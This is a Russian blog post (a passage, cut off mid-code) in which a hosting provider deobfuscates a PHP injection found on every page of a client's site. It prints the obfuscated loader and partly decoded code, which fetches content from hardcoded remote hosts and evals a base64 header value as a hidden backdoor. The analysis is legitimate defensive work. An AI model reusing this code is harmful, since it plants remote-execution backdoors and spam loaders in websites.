{"id":190682,"date":"2013-08-22T11:06:03","date_gmt":"2013-08-22T07:06:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=190682"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=190682","title":{"rendered":"<span class=\"post_title\">\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u041d\u043e\u0432\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u0437\u0430\u0445\u043e\u0442\u0435\u043b \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0441\u0432\u043e\u0439 \u0441\u0430\u0439\u0442, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u0441\u043e\u0442\u0435\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u0435\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c, \u0430 \u0437\u0430\u043e\u0434\u043d\u043e \u0438 \u043a \u043d\u0430 \u043d\u0430\u0448 \u0445\u043e\u0441\u0442\u0438\u043d\u0433. \u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u0431\u0435\u0433\u043b\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u043e\u0434, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:<br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<pre><code class=\"php\">\/*versio:2.19*\/$QQO0=95850;if (!function_exists('QQ00OOO0')){$GLOBALS['QQO0'] = 'AsY3VybAaX2luaXQWywYWxsb3dfdXJsX2ZvcGVu?#MQ(G~aHR0cDovLwwVeJndheT1maWxlX2dldF9jb250ZW50cw_=X3NldG9wdATX2V4ZWMqJndheT1jdXJssyiuQLwZOHhb3Nvbi5pbghP%cnllcGR4LmNvbQ{cGhwYWlkZS5jb20_k!dwWV8zOgNtYZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9ytZnRwMTMdIMi4xOQUU9PMDBPUVFRUTAXfHYmFzZTY0X2RlY29kZQeLF~XsYmFzZTY0X2VuY29kZQVGSFRUUFMemoLb2ZmaHR0cHM6Ly8Mp*vo&SFRUUF9IT1NUDE^.dW5pb24$c2VsZWN0^{&UkVRVUVTVF9VUkkDGU0NSSVBUX05BTUUqNctUVVFUllfU1RSSU5HPwGNSL3RtcC8uZm9udC11bml4NmsL3RtcC8uSUNFLXVuaXgdtVE1QAYVEVNUA_SVE1QRElSL3RtcAqT^dXBsb2FkX3RtcF9kaXI(dG1wOd3AtY29udGVudC91cGxvYWRzVnd3AtY29udGVudC9jYWNoZQZmLgT?admVyc2lvNLQILXBocAWSFRUUF9FWEVDUEhQpb3V0jb2sTSFRUUF9VU0VSX0FHRU5Uc%LAF*Z29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgZiL3BnLnBocD91PQ!Jms9AJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYyMXYya2dRL2lzYkZFVzI1UHE4TmdaeU9aOUFMV2tzNVhBZ3BGTFZJb3ZDMGxnMWRtU2JTNnNvLy8xbTlvVmRFcE83Z3crWW5kbDVuMmZHMllaWUoydTJ5UXEydGpwcjFyQnFteFhMcHF3NnR2MUVOcnRpMVdSbFFVeEt1bUhseGpxTll4cm51VVBPVG1OS2FSeVRpRXp1cnE5dDhrVDB5VFpiVldXVGJablZWRHRtWDVDS05idXFJS1lJT0gzV21yNnpacFBsREloNVRQUFlJYWRUejB1U3FZMWk0VU1waUozeXM4U3pmSWYwNEQ0d3d3Y1ZTaDUzejNIdWtENXdETE1pUzJ2V1dIc0NCWXJ2MlE2aFFNNGdEcHpsZXd1TFRTSkRaWmZDb2EzZHBORVFEY2FiNmFvc0dsWTB0UmJSN1lFQ3p5WXVrUTdoay9ESTFUSkRVQlNBb24xOHBHaU1ETXRyaHVhcENLWHNaMWFEQ3VrenB1bDBPazFBRnJnL2xLY1dCZ1drZy96V29GQnVGUVlPdE1TdGdhT2VMME1uQlZsU2pVUGUzODJ1azV0NUNqOE8rWit1VWdvQ3FHKy9LZmhxUFBvd25qbWJKZmorSnVOc1BMK2JUZWF6MGVUMkVpN0lJanZPL3o2WlRNYnY1L1A0cjNGeU4zZElLSXBIVnV0UWhrUGRRMUdyWFpXbnE3eXNtWEdLK1dEYmgrYVhKUzlERnJRWTdhc2ZPQVQ0bjNWYU9ZOUtLNjhoM2dPb2ZGT1hxeC9sQXl0MDdRODhyUC9FbTNvSlBrdzllQlpHb3dXcWY3aVlIQ1RUTnVYa3NEL0JwYzNEanRlUGJPRE94L0djUE1sTVBaODlMbjlGYUFscnlOVjhmdk1iZGIydjFkZmlxcXliMzhtVE5PMFpqenE4eUpLcEtMS2JxNXMwdVRYcXgrOWpvN2g0L21rOHU0MlRTWXZ1dTVwVjcwYmZvV2xRdUJER2hTc0ZqL2VJQmlkdkFKRDB6eVpuWjhSNkFUamtuU2IvQWRib1NMa1ljZWhad3hqcUR6Z1dEVGN5MzN0OGd1QWtZQnQ0eVg0KzVPV2FXWjI5alk0U0NYeTdBaUZHY24veEZycWhzMjNMUGNISGRlSVhxeVBudFRDcXF1VXZBNGVDZ0xlVzBXeVVkMXYzNEtpSFhSMWlaKzNSOUxIS0dpeGNvSHVlYzhwNVBZZ0NMeC80QXdTQUwxRjBra25MNjU5enBBUDI0VVlKNGxmMmdpNTByQVJGK3JMWFgrNGFTRGluZXRNcGR4bXVKaUNTcmU1THcvWUIyQjdZcm1RMHFtZ1E4aXFTRjEwZXZ3N1BVZ3VpSTdTYzI2THN4VlRUVk44RGQyaFBBcjRvZHkvU1pMOG40QTdyQmFEUW9BU2huREpUN3FSQjZZcUlTMUppa2hEUzZVQm9RdHd3U0lOQWtVUXpSUzhoVkxSM1Z2TmlTbS9ITStpZkwzdW13QXZRMG9VdDh6Zzh6a0pPREVBSWFOY2hYVnYwd0tIZWdBNUFNWlhaazJRM3FwdXFLZlB5a1ZXdFNqQXVnT1JZNVp1eVlzdlZQUlJWaW1peXJJbk1aUFNuVGprYUN5SWZ5dHFTaDdyWWdwQ2l4WWlqS09HTHZMNklXc0JVVGNUanNpRDJnLzhtNnhtc3NrNk9ocnJ2OFFRdnhMdy9UdWZENHpWNTBCZGtUR2hiQ0x0ZWo5Zms0dC9FdStZQzR2dllFakJkMzVJb1VpbjZIS1lXbExwS2E1dWhlejlGY1FBS1JjUHRPbFNUeUpWTjRVcVFsNTNBU3hnK09ZM1dXVlVzQVhYVDlESytIcWVwN1g2SVp6QnBrOWxuMEhZem1vM2drZmZKVkFDcGdEalRxNzdjeC9SUnFQcTV6ZEUreFdwZUhDSDJzV1VGY1R6NWRPVGFJUVdSWnRCK1IwblRSK2NCSGpuazlkSVk0dDRFVnR1T0NvNUdzeEJUMTIybm9QdnRwQkIwK1Q2UURocE5SaEpiRGJjVzJBUkZoNTJveFVRYzhveFMwYyt0S1JHcmI1MGl3aSsvOGMzYnVNbHQ0ZXNoUDd3ZzMwRC9qLzNFYXJZUDBXdUQrMkx5eTBxNmVJRlNIVndyMHMvcDZHNSsxVmxFa1dSVE0wRWgvRkRPRGkxMjRHT0NISVhRaHNKenFvWUVncnBKNkdLYTFMNkVteFJBa2dUcnRvYnNlVlEySkU0OTl2Y3lWN2RBeHR2bTlSQkREd1p5RDFFbXNEbXF3dExlV0I1L1ZBRVhyemtRUWE2cktYZXJlL0dYdjYyczh0MmFwV1d4WXVwUUFOOFRVZjA4aE0yVUZTdmNLdVNSbkRZZWI3RGgyK2pkay8xMmdONXF1OUZjWGI0RG1FNWhOWWF3WmNqS3c0WDJOYmFEQ2M2ZWVoSkZsM3lUbC9QS2NKVy92UERGMDF4ZCsvd2RvWXNKNVg3cGhQYjlFSU9zU3NzZ0JPSzE0blVOOUx1K3ZNS3JSZ3o0bk8vRHhyc21MbDZ3c09uWHpZc1hLWGsrckh6NC9nTW1uZzRIIikpKTscRcHJlZ19yZXBsYWNl';function QQ00OOO0($a, $b){$c=$GLOBALS['QQO0']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QQQ00QOO0 = QQ00OOO0(3375, 16);$QQQ00QOO0(&quot;\/Q00OQOQQ0\/e&quot;, QQ00OOO0(746, 2627), &quot;Q00OQOQQ0&quot;);}; <\/code><\/pre>\n<p>  \u041d\u0443\u0436\u043d\u043e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a\u043e\u0434 \u043a \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0432\u0438\u0434\u0443 \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c \u0447\u0442\u043e \u0436\u0435 \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442:  <\/p>\n<pre><code class=\"php\">$QQO0=95850; if (!function_exists('QQ00OOO0')) { \t$GLOBALS['QQO0'] = '\u0434\u043b\u0438\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0432 base64'; \tfunction QQ00OOO0($a, $b){ \t\t$c=$GLOBALS['QQO0'];  \t\t$d=pack('H*','6261736536345f6465636f'.'6465');  \t\treturn $d(substr($c, $a, $b)); \t}; \t$QQQ00QOO0 = QQ00OOO0(3375, 16); \t$QQQ00QOO0(&quot;\/Q00OQOQQ0\/e&quot;, QQ00OOO0(746, 2627), &quot;Q00OQOQQ0&quot;); }; <\/code><\/pre>\n<p>  \u0412\u0441\u0451 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0434\u0430\u0436\u0435 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f QQ00OOO0.  <\/p>\n<pre><code class=\"php\">pack('H*','6261736536345f6465636f'.'6465') <\/code><\/pre>\n<p>  \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c base64_decode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044f QQ00OOO0 \u0431\u0435\u0440\u0435\u0442 \u043a\u0443\u0441\u043e\u043a \u043d\u0430\u0448\u0435\u0439 \u0434\u043b\u0438\u043d\u043d\u043e\u0439-\u0434\u043b\u0438\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u043e\u0431\u0440\u0435\u0437\u0430\u0435\u0442 \u0435\u0433\u043e \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0432\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438\u0437 base64.<br \/>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u044f\u0441\u043d\u043e, \u0447\u0442\u043e <\/p>\n<pre><code class=\"php\">$QQQ00QOO0 = QQ00OOO0(3375, 16); <\/code><\/pre>\n<p>   \u2014 preg_replace.<br \/>   QQ00OOO0(746, 2627) \u0438\u0437 \u043d\u0430\u0448\u0435\u0439 \u0434\u043b\u0438\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432\u044b\u0440\u0435\u0437\u0430\u0435\u0442 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442  <\/p>\n<pre><code class=\"php\">eval(gzuncompress(base64_decode(&quot;eJyVV21v2kgQ\/isbFEW25Pq8NgZyOZ9ALWks5XAgpFLVIovC0lg1dmSbS6so\/\/1m9oVdEpO7gw+Yndl5n2fG2YZYJ2u2yQq2tjpr1rBqmxXLpqw6tv1ENrti1WRlQUxKumHlxjqNYxrnuUPOTmNKaRyTiEzurq9t8kT0yTZbVWWTbZnVVDtmX5CKNbuqIKYIOH3Wmr6zZpPlDIh5TPPYIadTz0uSqY1i4UMpiJ3ys8SzfIf04D4wwwcVSh53z3HukD5wDLMiS2vWWHsCBYrv2Q6hQM4gDpzlewuLTSJDZZfCoa3dpNEQDcab6aosGlY0tRbR7YECzyYukQ7hk\/DI1TJDUBSAon18pGiMDMtrhuapCKXsZ1aDCukzpul0Ok1AFrg\/lKcWBgWkg\/zWoFBuFQYOtMStgaOeL0MnBVlSjUPe382uk5t5Cj8O+Z+uUgoCqG+\/KfhqPPownjmbJfj+JuNsPL+bTeaz0eT2Ei7IIjvO\/z6ZTMbv5\/P4r3FyN3dIKIpHVutQhkPdQ1GrXZWnq7ysmXGK+WDbh+aXJS9DFrQY7asfOAT4n3VaOY9KK68h3gOofFOXqx\/lAyt07Q88rP\/Em3oJPkw9eBZGowWqf7iYHCTTNuXksD\/Bpc3DjtePbODOx\/GcPMlMPZ89Ln9FaAlryNV8fvMbdb2v1dfiqqyb38mTNO0Zjzq8yJKpKLKbq5s0uTXqx+9jo7h4\/mk8u42TSYvuu5pV70bfoWlQuBDGhSsFj\/eIBidvAJD0zyZnZ8R6ATjknSb\/AdboSLkYcehZwxjqDzgWDTcy33t8guAkYBt4yX4+5OWaWZ29jY4SCXy7AiFGcn\/xFrqhs23LPcHHdeIXqyPntTCqquUvA4eCgLeW0WyUd1v34KiHXR1iZ+3R9LHKGixcoHuec8p5PYgCLx\/4AwSAL1F0kknL659zpAP24UYJ4lf2gi50rARF+rLXX+4aSDinetMpdxmuJiCSre5Lw\/YB2B7YrmQ0qmgQ8iqSF10evw7PUguiI7Sc26LsxVTTVN8Dd2hPAr4ody\/SZL8n4A7rBaDQoAShnDJT7qRB6YqIS1JikhDS6UBoQtwwSINAkUQzRS8hVLR3VvNiSm\/HM+ifL3umwAvQ0oUt8zg8zkJODEAIaNchXVv0wKHegA5AMZXZk2Q3qpuqKfPykVWtSjAugORY5ZuyYsvVPRRVimiyrInMZPSnTjkaCyIfytqSh7rYgpCixYijKOGLvL6IWsBUTcTjsiD2g\/8m6xmssk6Ohrrv8QQvxLw\/TufD4zV50BdkTGhbCLtej9fk4t\/Eu+YC4vvYEjBd35IoUin6HKYWlLpKa5uhez9FcQAKRcPtOlSTyJVN4UqQl53ASxg+OY3WWVUsAXXT9DK+Hqep7X6IZzBpk9ln0HYzmo3gkffJVACpgDjTq77cx\/RRqPq5zdE+xWpeHCH2sWUFcTz5dOTaIQWRZtB+R0nTR+cBHjnk9dIY4t4EVtuOCo5GsxBT122noPvtpBB0+T6QDhpNRhJbDbcW2ARFh52oxUQc8oxS0c+tKRGrb50iwi+\/8c3buMlt4eshP7wg30D\/j\/3EarYP0WuD+2Lyy0q6eIFSHVwr0s\/p6G5+1VlEkWRTM0Eh\/FDODi124GOCHIXQhsJzqoYEgrpJ6GKa1L6EmxRAkgTrtobseVQ2JE499vcyV7dAxtvm9RBDDwZyD1EmsDmqwtLeWB5\/VAEXrzkQQa6rKXere\/GXv62s8t2apWWxYupQAN8TUf08hM2UFSvcKuSRnDYeb7Dh2+jdk\/12gN5qu9FcXb4DmE5hNYawZcjKw4X2NbaDCc6eehJFl3yTl\/PKcJW\/vPDF01xd+\/wdoYsJ5X7phPb9EIOsSssgBOK14nUN9Lu+vMKrRgz4nO\/DxrsmLl6wsOnXzYsXKXk+rHz4\/gMmng4H&quot;))); <\/code><\/pre>\n<p>  \u041a\u0430\u043a \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0432 \u0438\u0442\u043e\u0433\u0435 \u0432\u0441\u0435 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0447\u0442\u043e \u0436\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u043a\u043e\u0434.<br \/>  \u0412\u043e\u0442 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f:  <\/p>\n<pre><code class=\"php\">if (!defined(&quot;determinator&quot;)){ function determinator_feof($II1Ill, &$I111II = NULL) { $I111II = microtime(true); return feof($II1Ill); } function getfile($IlI1lI, $Q00OOQ){ $IIII11 = QQ00OOO0(2, 6); $IllllI = $IIII11.QQ00OOO0(9, 7); @ini_set(QQ00OOO0(19, 20), 1); if (@ini_get(QQ00OOO0(19, 20)) == QQ00OOO0(41, 2)) { $I111I1=@file_get_contents(QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(59, 30)); return $I111I1; } elseif (function_exists($IllllI)){ $QQOQQ0 = @$IllllI(); $Q0000O = $IIII11.QQ00OOO0(91, 10); $I1I1II = $IIII11.QQ00OOO0(102, 7); @$Q0000O($QQOQQ0, CURLOPT_URL, QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(110, 12)); @$Q0000O($QQOQQ0, CURLOPT_HEADER,false); @$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); @$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); $Il11II = @$I1I1II($QQOQQ0); @curl_close($QQOQQ0); if (empty($Il11II)){$Il11II = QQ00OOO0(123, 0);} return $Il11II; } else { $II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = QQ00OOO0(123, 0); $I111II = NULL; @fputs($II1Ill, &quot;GET {$Q00OOQ}&way=socket HTTP\/1.0\\r\\nHost: {$IlI1lI}\\r\\n&quot;); $QOQ00O = PHP_OS.QQ00OOO0(127, 2).PHP_VERSION; @fputs($II1Ill, &quot;User-Agent: {$QOQ00O}\\r\\n\\r\\n&quot;); while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) &lt; 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode(&quot;\\r\\n\\r\\n&quot;, $Ill111); unset($Q0OQOQ[0]); return implode(&quot;\\r\\n\\r\\n&quot;, $Q0OQOQ); } } } $Il1lll = Array(QQ00OOO0(133, 10), QQ00OOO0(146, 14), QQ00OOO0(161, 15)); function write($QOO000,$QQ00O0){ if ($Q00QOO=@fopen($QOO000,QQ00OOO0(179, 2))){ @fwrite($Q00QOO,$QQ00O0); @fclose($Q00QOO); } } function output($Q000QQ, $Q0QQ0O){ echo QQ00OOO0(181, 3).$Q000QQ.QQ00OOO0(185, 2).$Q0QQ0O.&quot;\\r\\n&quot;; } @ini_set(QQ00OOO0(190, 19), 0); define(QQ00OOO0(209, 16), 1); $Q00OO0=QQ00OOO0(226, 7); $I11III=QQ00OOO0(235, 6); $QQ00QO=QQ00OOO0(241, 15); $QQ00OO=QQ00OOO0(259, 18); $Q0QQOQ=QQ00OOO0(283, 18); $IlI1lI=QQ00OOO0(46, 10); if (isset($_SERVER[QQ00OOO0(303, 7)])){ if (@$_SERVER[QQ00OOO0(303, 7)] != QQ00OOO0(314, 4)){ $IlI1lI=QQ00OOO0(318, 11); } } $IlI1lI.=strtolower(@$_SERVER[QQ00OOO0(335, 12)]); foreach ($_GET as $Q000QQ=&gt;$Q0QQ0O){ if (strpos($Q0QQ0O,QQ00OOO0(351, 7))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} elseif (strpos($Q0QQ0O,QQ00OOO0(359, 8))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} } if(!isset($_SERVER[QQ00OOO0(370, 15)])) { $_SERVER[QQ00OOO0(370, 15)] = @$_SERVER[QQ00OOO0(387, 15)]; if(@$_SERVER[QQ00OOO0(406, 16)]) { $_SERVER[QQ00OOO0(370, 15)] .= QQ00OOO0(422, 2) . @$_SERVER[QQ00OOO0(406, 16)]; } } if ($QOQQO0=$IlI1lI.@$_SERVER[QQ00OOO0(370, 15)]){ $IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); $IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; $QQQQOQ = Array( QQ00OOO0(427, 20), QQ00OOO0(450, 19), @$_SERVER[QQ00OOO0(471, 4)], @$_SERVER[QQ00OOO0(477, 6)], @$_ENV[QQ00OOO0(471, 4)], @$_ENV[QQ00OOO0(485, 8)], @$_ENV[QQ00OOO0(477, 6)], QQ00OOO0(493, 6), @ini_get(QQ00OOO0(502, 19)), $IIIIl1.QQ00OOO0(522, 4), $IIIIl1.QQ00OOO0(527, 24), $IIIIl1.QQ00OOO0(553, 22), ); foreach ($QQQQOQ as $I1I1lI){ if (!empty($I1I1lI)){ $I1I1lI.=DIRECTORY_SEPARATOR; if (@is_writable($I1I1lI)){ $IIIIl1 = $I1I1lI; break; } } } $tmp=$IIIIl1.QQ00OOO0(577, 2).$IlIlll; if (@$_SERVER[&quot;HTTP_Y_AUTH&quot;]==$IlIlll){ echo &quot;\\r\\n&quot;; @output(QQ00OOO0(582, 8), $I11III.QQ00OOO0(591, 2).$Q00OO0.QQ00OOO0(594, 6)); if ($QO0QQQ=$QQ00OO(@$_SERVER[QQ00OOO0(601, 16)])){ @eval($QO0QQQ); echo &quot;\\r\\n&quot;; @output(QQ00OOO0(618, 4), QQ00OOO0(623, 3)); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $QOQQO0=@urlencode($QOQQO0); $Q0Q0OQ = @strtolower(@$_SERVER[QQ00OOO0(627, 20)]); foreach (explode(QQ00OOO0(649, 2), QQ00OOO0(653, 55)) as $I1l11I){ if (strpos($Q0Q0OQ, $I1l11I)!==False){ if (@touch($tmp)){ $Q00OOQ = QQ00OOO0(710, 14).$QOQQO0.QQ00OOO0(725, 4).$IlIlll.QQ00OOO0(730, 12).$Q00OO0.QQ00OOO0(742, 4).$I11III; $I11lII = getfile($Il1lll[0], $Q00OOQ); @touch($tmp); } break; } } } } } <\/code><\/pre>\n<p>  \u041f\u043e\u043d\u044f\u0442\u043d\u043e\u0433\u043e \u0441\u0442\u0430\u043b\u043e \u0435\u0449\u0435 \u043c\u0435\u043d\u044c\u0448\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c \u0447\u0442\u043e \u0436\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u041d\u0443\u0436\u043d\u043e \u0435\u0433\u043e \u043e\u0442\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c: \u0432\u0441\u0435 \u0432\u044b\u0437\u043e\u0432\u044b QQ00OOO0(\u0447\u0438\u0441\u043b\u043e, \u0447\u0438\u0441\u043b\u043e) \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f.<br \/>  \u041c\u044b \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u043d\u0430 \u0448\u0430\u0433 \u0431\u043b\u0438\u0436\u0435 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0436\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434:  <\/p>\n<pre><code class=\"php\">&lt;?php  if (!defined(&quot;determinator&quot;)){  \tfunction determinator_feof($II1Ill, &$I111II = NULL) {  \t\t$I111II = microtime(true);  \t\treturn feof($II1Ill);  \t}  \tfunction getfile($IlI1lI, $Q00OOQ){  \t\t&quot;curl&quot; = curl;  \t\t$IllllI = &quot;curl&quot;.&quot;_init&quot;;  \t\t@ini_set(&quot;allow_url_fopen&quot;, 1);  \t\tif (@ini_get(&quot;allow_url_fopen&quot;) == &quot;1&quot;) {  \t\t\t$I111I1=@file_get_contents(&quot;http:\/\/&quot; . $IlI1lI . $Q00OOQ. &quot;&way=file_get_contents&quot;);  \t\t\treturn $I111I1;  \t\t} elseif (function_exists($IllllI)){  \t\t\t$QQOQQ0 = @$IllllI();  \t\t\t$Q0000O = &quot;curl&quot;.&quot;_setopt&quot;;  \t\t\t$I1I1II = &quot;curl&quot;.&quot;_exec&quot;;  \t\t\t@$Q0000O($QQOQQ0, CURLOPT_URL, &quot;http:\/\/&quot; . $IlI1lI . $Q00OOQ. &quot;&way=curl&quot;);  \t\t\t@$Q0000O($QQOQQ0, CURLOPT_HEADER,false);  \t\t\t@$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true);  \t\t\t@$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5);  \t\t\t$Il11II = @$I1I1II($QQOQQ0);  \t\t\t@curl_close($QQOQQ0);  \t\t\tif (empty($Il11II)){ \t\t\t\t$Il11II = &quot;&quot;; \t\t\t}  \t\treturn $Il11II;  \t} else {  \t\t$II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5);  \t\tif ($II1Ill) {  \t\t\t$Ill111 = &quot;&quot;;  \t\t\t$I111II = NULL;  \t\t\t@fputs($II1Ill, &quot;GET {$Q00OOQ}&way=socket HTTP\/1.0\\r\\nHost: {$IlI1lI}\\r\\n&quot;);  \t\t\t$QOQ00O = PHP_OS.&quot;\/&quot;.PHP_VERSION;  \t\t\t@fputs($II1Ill, &quot;User-Agent: {$QOQ00O}\\r\\n\\r\\n&quot;);  \t\t\twhile(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) &lt; 2){  \t\t\t\t$Ill111 .= @fgets($II1Ill, 128);  \t\t\t} @fclose($II1Ill);  \t\t\t$Q0OQOQ = explode(&quot;\\r\\n\\r\\n&quot;, $Ill111);  \t\t\tunset($Q0OQOQ[0]);  \t\t\treturn implode(&quot;\\r\\n\\r\\n&quot;, $Q0OQOQ);  \t\t}  \t}  }  $Il1lll = Array(&quot;oson.in&quot;, &quot;ryepdx.com&quot;, &quot;phpaide.com&quot;);   function write($QOO000,$QQ00O0){  \tif ($Q00QOO=@fopen($QOO000,&quot;w&quot;)){  \t\t@fwrite($Q00QOO,$QQ00O0);  \t\t@fclose($Q00QOO);  \t}  }   function output($Q000QQ, $Q0QQ0O) {  \techo &quot;Y_&quot;.$Q000QQ.&quot;:&quot;.$Q0QQ0O.&quot;\\r\\n&quot;; }  \t@ini_set(&quot;display_errors&quot;, 0);  \tdefine(&quot;determinator&quot;, 1);  \t$Q00OO0=&quot;ftp13&quot;;  \t$I11III=&quot;2.19&quot;;  \t$QQ00QO=&quot;QOO00OQQQQ0&quot;;  \t$QQ00OO=&quot;base64_decode&quot;;  \t$Q0QQOQ=&quot;base64_encode&quot;;  \t$IlI1lI=&quot;http:\/\/&quot;;  \tif (isset($_SERVER[&quot;HTTPS&quot;])){  \t\tif (@$_SERVER[&quot;HTTPS&quot;] != &quot;off&quot;){  \t\t\t$IlI1lI=&quot;https:\/\/&quot;;  \t\t}  \t}  